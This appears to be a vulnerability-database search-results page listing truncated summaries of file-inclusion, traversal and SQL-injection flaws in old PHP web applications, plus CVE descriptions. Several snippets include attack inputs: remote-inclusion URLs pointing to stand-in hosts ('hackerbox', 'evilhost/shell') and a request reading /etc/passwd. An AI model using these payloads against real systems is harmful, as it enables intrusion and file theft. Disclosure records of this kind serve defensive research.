654 matches found
SQL-Ledger 2.6.x/LedgerSMB 1.0 Terminal Parameter Directory Traversal Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/19960/info SQL-Ledger and LedgerSMB are prone to a remote directory-traversal vulnerability. An attacker can exploit this issue to include arbitrary files located on the vulnerable computer in the context of the webserver...
Joomla JE Job Component com_jejob LFI Vulnerability
No description provided by source. Name : Joomla comjejob LFI Vulnerability Date : june, 26 2010 Critical Level : HIGH Vendor Url : http://joomlaextensions.co.in/jobcomponent/ Google Dork: inurl:comjejob Price:$25.00 Author : Sid3^effects aKa HaRi shellc99atyahoo.com special thanks to : r0073r...
N/X Web Content Management System 2002 Prerelease 1 datasets.php c_path Parameter LFI
No description provided by source. source: http://www.securityfocus.com/bid/6500/info N/X Web Content Management System is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. An attacker may exploit this by supplying a path to a maliciously...
PHP121 Instant Messenger <= 1.4 - Remote Code Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo PHP121 Instant Messenger = 1.4 $SESSIONsessusername remote cmmnds xctn \r\n; echo by rgod [email protected]\r\n; echo site: http://retrogod.altervista.org\r\n\r\n; echo - works with magicquotesgpc = Off\r\n\r\n; echo a...
phpWebLog <= 0.5.3 Arbitrary File Inclusion
No description provided by source. Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/include/init.inc.php?GPATH=http://hackerbox/ http://victim/dir/backend/addons/links/index.php?PATH=http://hackerbox/ milw0rm.com 2005-03-07...
McGallery 1.0/1.1/2.2 index.php album Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/15845/info mcGallery PRO is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. Successful exploitation of these vulnerabiliti...
OrangeHRM 2.6.3 (PluginController.php) Local File Inclusion Vulnerability
No description provided by source. ------------------------------------------------------------------------ Software................OrangeHRM 2.6.3 Vulnerability...........Local File Inclusion Threat Level............Critical 4/5 Download................http://www.orangehrm.com/ Discovery...
ZPanel <= 2.5 - Remote SQL Injection Exploit
No description provided by source. Tested and working /str0ke It is possible to include arbitrary file: local - in version ZPanel = 2.5 beta 10, remote - in ZPanel 2.0. exploit for v 2.0 http://localhost/zpanel/zpanel.php?page=http://evilhost/shell where http://evilhost/shell.php - evil php code...
Youyax 包含漏洞一枚。
简要描述： 过滤不严。 详细说明： 在org/youyax.php中 private function deal$tp if isset$COOKIE'youyaxlang' $this-lang = require"lang/" . $COOKIE'youyaxlang' . "/lang.php"; $this-arrayarray'lang' = $this-lang; else 这里$COOKIE'youyaxlang'可控 然后看到了包含中。 然后截断掉后面的lang.php 就可以包含任意文件了。 漏洞证明： 我直接在根目录下新建一个1.jpg 内容为phpinfo...
Easytalk任意文件包含漏洞
简要描述： 过滤不严。 详细说明： 在appaction.class.php中 public function index parent::tologin; $appname=trim$this-get'appname'; $action=$this-get'action';//直接调用方法 $out=urldecode$GET'out'; //是否开启应用 $app=M'Plugins'-where"directory='$appname' AND available=1"-find; $this-assign'app',$app; if !$app...
pfSense 2.1 build 20130911-1816目录遍历漏洞
No description provided by source. Proof of Concept 1 : Arbitrary File Inclusion ====================================================================== GET /snort/snortlogview.php?logfile=/etc/passwd HTTP/1.1 Host: firewall1.pentestlab1:1337 Connection: keep-alive Accept:...
pfSense 2.1 Inclusion / Traversal / Escalation
| | / | \ | |/ |/ | / | | | | | | | | | | | | | / \ | | | || || | |\ | || | | / | | |/|| ||// \| Exploit Title: pfSense 2.1 Privilege Escalation from less privileged users LFI/RCE Date: 25/01/2014 0-day Exploit Author: @u0x Pichaya Morimoto Software Link: www.pfsense.org Category: Local...
CVE-2013-1082: Improper Limitation of a Pathname to a Restricted Directory
Directory traversal vulnerability in DUSAP.php in Novell ZENworks Mobile Management before 2.7.1 allows remote attackers to include and execute arbitrary local files via the language parameter...
CVE-2013-1081: Improper Limitation of a Pathname to a Restricted Directory
Directory traversal vulnerability in MDM.php in Novell ZENworks Mobile Management ZMM 2.6.1 and 2.7.0 allows remote attackers to include and execute arbitrary local files via the language parameter...
CVE-2010-5280: Improper Limitation of a Pathname to a Restricted Directory
Directory traversal vulnerability in the Community Builder Enhanced CBE comcbe component 1.4.8, 1.4.9, and 1.4.10 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. dot dot in the tabname parameter in a userProfile action to index.php. NOTE: this can be...
CVE-2012-1112: Improper Limitation of a Pathname to a Restricted Directory
Directory traversal vulnerability in Open-Realty CMS 2.5.8 and earlier allows remote attackers to include and execute arbitrary local files via a .. dot dot in the selectuserstemplate parameter to index.php...
CVE-2012-2435: Improper Limitation of a Pathname to a Restricted Directory
Directory traversal vulnerability in the captcha module in Pligg CMS before 1.2.2 allows remote authenticated users to include and execute arbitrary local files via a .. dot dot in the captcha parameter to module.php, as demonstrated by cross-site request forgery CSRF attacks...
CVE-2012-1047: Improper Limitation of a Pathname to a Restricted Directory
Directory traversal vulnerability in the WWWHELP Service js/html/wwhelp.htm in Cyberoam Central Console CCC 2.00.2 allows remote attackers to include and execute arbitrary local files via a .. dot dot in the file parameter in an Onlinehelp action...
CVE-2011-4543: Improper Limitation of a Pathname to a Restricted Directory
Multiple directory traversal vulnerabilities in osCommerce 3.0.2 allow remote attackers to include and execute arbitrary local files via a .. dot dot in the 1 set or 2 module parameter to a OM/Core/Site/Admin/Application/templatesmodules/pages/info.php, b...
CVE-2010-4931: Improper Limitation of a Pathname to a Restricted Directory
Directory traversal vulnerability in maincore.php in PHP-Fusion allows remote attackers to include and execute arbitrary local files via a .. dot dot in the folderlevel parameter. NOTE: this issue has been disputed by a reliable third party...